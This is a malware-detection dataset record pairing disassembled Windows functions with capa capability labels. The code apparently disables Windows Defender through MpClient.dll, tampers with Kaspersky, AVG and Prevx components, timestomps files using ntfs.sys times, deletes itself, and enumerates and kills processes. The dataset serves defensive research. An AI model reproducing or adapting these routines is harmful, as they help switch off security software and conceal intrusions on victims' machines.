joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015b0
Capabilities:
Check if file exists
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push 0x402000
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov edx, dword [ebp - 0x18]
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401680
push esi
lea ecx, [ebp - 0x328]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x120]
push edx
push 0
push 0
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 1
lea ecx, [ebp - 0x120]
push ecx
lea edx, [ebp - 0x224]
push edx
call esi
test eax, eax
je 0x40167f
push 0
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40167f
push 4
push eax
lea edx, [ebp - 0x120]
push edx
call esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401a40
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push ebx
xor ebx, ebx
push 0x40
lea eax, [ebp - 0x50]
push ebx
push eax
mov dword [ebp - 0x54], ebx
call sub.MSVCRT.dll_memset
push 0x103
xor eax, eax
lea ecx, [ebp - 0x157]
push ebx
push ecx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
mov byte [ebp - 0x158], bl
call sub.MSVCRT.dll_memset
mov edx, dword [ebp + 8]
add esp, 0x18
push 0x104
push edx
lea eax, [ebp - 0x158]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x158]
push eax
mov dword [ebp - 0x54], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401b1f
mov eax, dword [ebp - 0xc]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401aed
lea ecx, [ebp + 8]
push ecx
push eax
call edi
test eax, eax
je 0x401aed
test byte [ebp + 8], 2
jne 0x401aed
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
mov esi, eax
mov dword [ebp + 8], ebx
cmp eax, ebx
je 0x401b11
lea edx, [ebp + 8]
push edx
push eax
call edi
test eax, eax
je 0x401b11
test byte [ebp + 8], 2
jne 0x401b11
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401b30
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
push 0x124
lea eax, [esp + 0x18]
push esi
push eax
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401b77
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [esp + 0x10]
push ecx
push esi
mov dword [esp + 0x18], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
mov edx, dword [ebp + 8]
push edx
lea eax, [esp + 0x38]
push eax
call edi
test eax, eax
jne 0x401beb
lea ecx, [esp + 0x10]
push ecx
push esi
call ebx
test eax, eax
jne 0x401b97
mov edi, dword [esp + 0xc]
mov dword [esp + 0xc], 0
test esi, esi
je 0x401be0
lea edx, [esp + 0xc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401be0
test byte [esp + 0xc], 2
jne 0x401be0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edi, dword [esp + 0x18]
jmp 0x401bb6
Function at 0x401e70
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
test eax, eax
je 0x401f28
push esi
lea ecx, [ebp - 4]
push ecx
call fcn.00401450
mov esi, eax
test esi, esi
je 0x401f27
push ebx
push edi
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov ebx, eax
test ebx, ebx
je 0x401f03
rdtsc
xor dword [0x45984c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x45984c], eax
push 0x404528
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401ee3
push 0x404534
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401ee3
push 0x45984c
call eax
mov ecx, dword [0x45984c]
mov eax, ecx
xor edx, edx
or edi, 0xffffffff
div edi
push esi
add eax, ecx
mov dword [ebx + 0x58], eax
mov ebx, dword [ebp - 4]
mov eax, dword [ebp + 8]
call fcn.00401370
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x401f25
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x401f30
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401ff5
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x1c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov dword [ebp - 4], 0
test esi, esi
je 0x401f9c
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401f9c
test byte [ebp - 4], 2
jne 0x401f9c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push ecx
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x401ff5
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x1c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov dword [ebp + 8], 0
test esi, esi
je 0x401ff5
lea edx, [ebp + 8]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x401ff5
test byte [ebp + 8], 2
jne 0x401ff5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x402040
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x4020d8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x40213b
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x40213b
mov edi, dword [ebp - 4]
mov dword [ebp - 4], 0
test esi, esi
je 0x4020cf
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x4020cf
test byte [ebp - 4], 2
jne 0x4020cf
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x4020a5
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Module32Next]
push 0x404560
lea edx, [ebp - 0x208]
push edx
call edi
test eax, eax
je 0x40211e
push 0x404568
push eax
call edi
test eax, eax
jne 0x402131
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x402100
jmp 0x4020a5
mov edi, 1
jmp 0x4020a8
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x402240
Capabilities:
Get common file path
Get program files directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405180
push 0x403a02
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
xor ebx, ebx
mov byte [ebp - 0x120], bl
push 0x103
push ebx
lea eax, [ebp - 0x11f]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor esi, esi
lea ecx, [ebp - 0x120]
push ecx
push ebx
push ebx
push 0x26
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x402307
push str.Windows_Defender
lea edx, [ebp - 0x120]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x402307
push str.MpClient.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, ebx
je 0x402307
push str.WDEnable
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x402307
mov dword [ebp - 4], ebx
push ebx
call eax
mov dword [ebp - 4], 0xffffffff
jmp 0x402307
test esi, esi
je 0x402312
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402330
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push str..KmxAgent
mov dword [ebp - 0xb4], 0xb4
mov dword [ebp - 0xb0], 0x10
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
mov dword [ebp - 0xa4], ebx
mov dword [ebp - 0xa0], ebx
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], 0x7b761e52
mov dword [ebp - 0x88], 0x1c94cc7
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], 1
mov dword [ebp - 0x70], 1
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x64], 0x20000000
mov dword [ebp - 0x60], 0x1210064
mov dword [ebp - 0x5c], 0x22
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0x4d0007
mov dword [ebp - 0x50], 0x730065
mov dword [ebp - 0x4c], 0x610073
mov dword [ebp - 0x48], 0x650067
mov dword [ebp - 0x44], 0x420000
mov dword [ebp - 0x40], 0xb0022
mov dword [ebp - 0x3c], 0x490000
mov dword [ebp - 0x38], 0x530053
mov dword [ebp - 0x34], 0x560045
mov dword [ebp - 0x30], 0x4e0045
mov dword [ebp - 0x2c], 0x490054
mov dword [ebp - 0x28], 0x3d0044
mov dword [ebp - 0x24], 0x300034
mov dword [ebp - 0x20], 0x320030
mov dword [ebp - 0x1c], 0x650000
mov dword [ebp - 0x18], 0x70006d
mov dword [ebp - 0x14], 0x790074
mov dword [ebp - 0x10], 0x45003d
mov dword [ebp - 0xc], 0x70006d
mov dword [ebp - 8], 0x790074
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4024b0
push ebx
lea eax, [ebp - 0xbc]
push eax
push 4
lea ecx, [ebp - 0xb8]
push ecx
push 0xb4
lea edx, [ebp - 0xb4]
push edx
push 0x86000054
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4024c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80000080
xor eax, eax
push 3
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
push 3
push 0xc0000000
push str..pipe_acsipc_server
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x60], 0xd48a445e
mov dword [ebp - 0x5c], 0x466e1597
mov dword [ebp - 0x58], 0x327416ba
mov dword [ebp - 0x54], 0x68ccde15
mov dword [ebp - 0x50], 5
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], 0x11
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], 0x11
mov dword [ebp - 0x38], 0xb5cb6c63
mov dword [ebp - 0x34], 0x46df52db
mov dword [ebp - 0x30], 0x65aa6b83
mov dword [ebp - 0x2c], 0x229bf18e
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4025a4
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea ecx, [ebp - 4]
push ecx
push 0x28
lea edx, [ebp - 0x60]
push edx
push esi
call edi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
push ebx
lea eax, [ebp - 4]
push eax
mov dword [ebp - 0x23], ecx
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
push esi
mov dword [ebp - 0x1f], edx
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4025b0
Capabilities:
Get common file path
Get program files directory
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x26
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x402695
xor eax, eax
lea esp, [esp]
mov cl, byte [ebp + eax - 0x104]
mov byte [ebp + eax - 0x208], cl
inc eax
test cl, cl
jne 0x4025e0
lea eax, [ebp - 0x104]
dec eax
lea ebx, [ebx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402600
mov ecx, dword [str.AVGAVG9dfncfg.dat]
mov edx, dword [0x404d84]
mov dword [eax], ecx
mov ecx, dword [0x404d88]
mov dword [eax + 4], edx
mov edx, dword [0x404d8c]
mov dword [eax + 8], ecx
mov ecx, dword [0x404d90]
mov dword [eax + 0xc], edx
mov dl, byte [0x404d94]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x402644
mov ecx, dword [str.AVGAVG9dfmcfg.dat]
mov edx, dword [0x404d9c]
mov dword [eax], ecx
mov ecx, dword [0x404da0]
mov dword [eax + 4], edx
mov edx, dword [0x404da4]
mov dword [eax + 8], ecx
mov ecx, dword [0x404da8]
mov dword [eax + 0xc], edx
mov dl, byte [0x404dac]
mov dword [eax + 0x10], ecx
mov byte [eax + 0x14], dl
lea eax, [ebp - 0x208]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esp, ebp
pop ebp
ret
Function at 0x4026a0
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 0x10c]
push eax
push 0
push 0
push 0x23
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
cmp eax, 1
je 0x4027d0
lea eax, [ebp - 0x10c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x4026d2
mov ecx, dword [str.PrevxCSIcsidb.csi]
mov edx, dword [0x404db4]
push esi
push 0
push 0x80
mov dword [eax], ecx
mov ecx, dword [0x404db8]
push 3
mov dword [eax + 4], edx
mov edx, dword [0x404dbc]
push 0
mov dword [eax + 8], ecx
mov ecx, dword [0x404dc0]
push 3
mov dword [eax + 0xc], edx
push 0xc0000000
lea edx, [ebp - 0x10c]
push edx
mov dword [eax + 0x10], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4027cf
push ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0x17a8
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0xb98
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push 0
push 0
push 0x17e4
push esi
call edi
push 0
lea ecx, [ebp - 8]
push ecx
push 1
lea edx, [ebp - 1]
push edx
push esi
call ebx
push 0
push 0
push 0x17dc
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 1
lea ecx, [ebp - 1]
push ecx
push esi
call ebx
push 0
push 0
push 0x3380
push esi
call edi
push 0
lea edx, [ebp - 8]
push edx
push 1
lea eax, [ebp - 1]
push eax
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402d10
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00402330
call fcn.00402240
push 0
push str.____AVP.Root
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
test esi, esi
je 0x402d65
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x10001
push 0x466
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
call fcn.004024c0
call fcn.004025b0
call fcn.004026a0
call fcn.004027e0
mov edi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call edi
test eax, eax
jne 0x402d96
call fcn.00403510
test eax, eax
je 0x402d96
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call edi
push 0x404540
mov ebx, eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x402dcf
push 0x404550
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402dcf
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
cmp dword [ebp - 8], 0
je 0x402df8
lea esi, [ebp - 0x10c]
call section..text
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call fcn.00401c00
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402f0a
test ebx, ebx
je 0x402eaf
push str._apppatch_
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x402e53
lea esi, [ebp - 0x10c]
call section..text
push 0x404e28
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402f0a
push 0x404e28
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402eeb
lea eax, [ebp - 1]
push eax
jmp 0x402edf
call fcn.00402a30
push 0x404e28
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402ea8
push 0x404e28
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402e89
lea ecx, [ebp - 1]
push ecx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, 0x404e40
jne 0x402e99
mov eax, 0x404e50
push eax
call fcn.00401b30
test eax, eax
je 0x402ea8
call fcn.00401c00
call fcn.004015b0
jmp 0x402f0a
lea esi, [ebp - 0x10c]
call section..text
push 0x404e28
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x402f0a
push 0x404e28
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
call edi
test eax, eax
je 0x402eeb
lea edx, [ebp - 1]
push edx
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
call edi
test eax, eax
mov eax, 0x404e40
jne 0x402efb
mov eax, 0x404e50
push eax
call fcn.00401b30
test eax, eax
je 0x402f0a
call fcn.00401c00
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403470
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
lea eax, [ebp - 0x9c]
push eax
mov esi, 0x80004005
mov dword [ebp - 4], 0
mov dword [ebp - 0x9c], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x4034fd
cmp dword [ebp - 0x8c], 2
jne 0x4034fd
cmp dword [ebp - 0x98], 6
jb 0x4034fd
lea ecx, [ebp - 4]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4034fd
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 8]
push edx
push 4
push eax
push 0x12
push ecx
mov dword [ebp - 8], 0
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x4034f3
cmp dword [ebp - 8], 4
jne 0x4034f3
xor esi, esi
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x4039d0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
xor eax, 0xffffffff
test ecx, ecx
mov esi, dword [ebp + 8]
je 0x4039f9
xor al, byte [esi]
movzx edx, al
shr eax, 8
mov edx, dword [edx*4 + section..data]
inc esi
xor eax, edx
dec ecx
jne 0x4039e4
xor eax, 0xffffffff
pop esi
leave
ret 0xc
Function at 0x420650
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x6554f4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x104
mov dword [ebp - 0x10c], eax
mov edi, ecx
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.005991a0
add esp, 0xc
cmp dword [esi + 0x14], 8
jb 0x420693
mov eax, dword [esi]
jmp 0x420695
mov eax, esi
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp dword [esi + 0x14], 8
jb 0x4206b2
mov esi, dword [esi]
push 0
push 0
push eax
lea eax, [ebp - 0x108]
push eax
push 0xffffffffffffffff
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push dword [ebp - 0x10c]
mov ecx, dword [edi + 4]
lea eax, [ebp - 0x108]
push eax
call fcn.00420420
mov esi, dword [edi + 4]
lea eax, [ebp - 0x10c]
push eax
push 0
push esi
push 0x4203a0
push 0
push 0
mov dword [ebp - 0x10c], 0
call fcn.005af475
add esp, 0x18
mov dword [esi + 0x10], eax
test eax, eax
je 0x42072c
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x42072c
push dword [esi + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x10], 0
mov eax, dword [edi + 4]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov al, byte [eax + 4]
pop esi
call fcn.004b8f5e
mov esp, ebp
pop ebp
ret 8
Function at 0x4215d0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5c0968
mov eax, dword fs:[0]
push eax
sub esp, 0x630
mov eax, dword [0x6554f4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x638], edi
lea eax, [edi + 8]
mov dword [edi], 0
mov dword [eax + 0x14], 7
mov dword [eax + 0x10], 0
cmp dword [eax + 0x14], 8
mov dword [ebp - 0x63c], edi
jb 0x42162a
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
mov dword [ebp - 4], ecx
mov dword [edi + 0x34], 7
mov dword [edi + 0x30], ecx
cmp dword [edi + 0x34], 8
jb 0x421647
mov eax, dword [edi + 0x20]
jmp 0x42164a
lea eax, [edi + 0x20]
xor ecx, ecx
mov word [eax], cx
lea eax, [edi + 0x38]
mov dword [eax + 0x14], 7
mov dword [eax + 0x10], ecx
cmp dword [eax + 0x14], 8
jb 0x421664
mov eax, dword [eax]
xor ecx, ecx
mov word [eax], cx
lea ecx, [edi + 0x50]
mov byte [ebp - 4], 2
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x421688
mov eax, dword [ecx]
jmp 0x42168a
mov eax, ecx
push 0
push 0x626e14
mov byte [eax], 0
call fcn.00420ac0
push 0
mov byte [ebp - 4], 3
call fcn.005a7126
push eax
call fcn.005a8dd5
push 0x20c
lea eax, [ebp - 0x220]
push 0
push eax
call fcn.005991a0
add esp, 0x14
lea eax, [ebp - 0x220]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
dec eax
cmp eax, 0x103
ja 0x421748
xor eax, eax
push 0x412
push eax
mov word [ebp - 0x16], ax
lea eax, [ebp - 0x634]
push eax
call fcn.005991a0
add esp, 0xc
lea eax, [ebp - 0x634]
push 0x208
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
cmp eax, 0x208
ja 0x421739
test eax, eax
je 0x421739
add eax, eax
cmp eax, 0x412
jae 0x421734
xor ecx, ecx
mov word [ebp + eax - 0x634], cx
lea eax, [ebp - 0x634]
jmp 0x42173f
call fcn.004b8c63
lea eax, [ebp - 0x220]
push eax
lea ecx, [edi + 0x20]
call fcn.00420910
mov eax, dword [edi + 0x30]
test eax, eax
je 0x421774
cmp dword [edi + 0x34], 8
jb 0x42175a
mov ecx, dword [edi + 0x20]
jmp 0x42175d
lea ecx, [edi + 0x20]
cmp word [ecx + eax*2 - 2], 0x5c
je 0x421774
push 1
push 0x626e18
lea ecx, [edi + 0x20]
call fcn.00422d00
cmp dword [edi + 0x30], 0
jne 0x421789
push 3
push 0x626e1c
lea ecx, [edi + 0x20]
call fcn.00420960
mov dword [edi + 4], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004b8f5e
mov esp, ebp
pop ebp
ret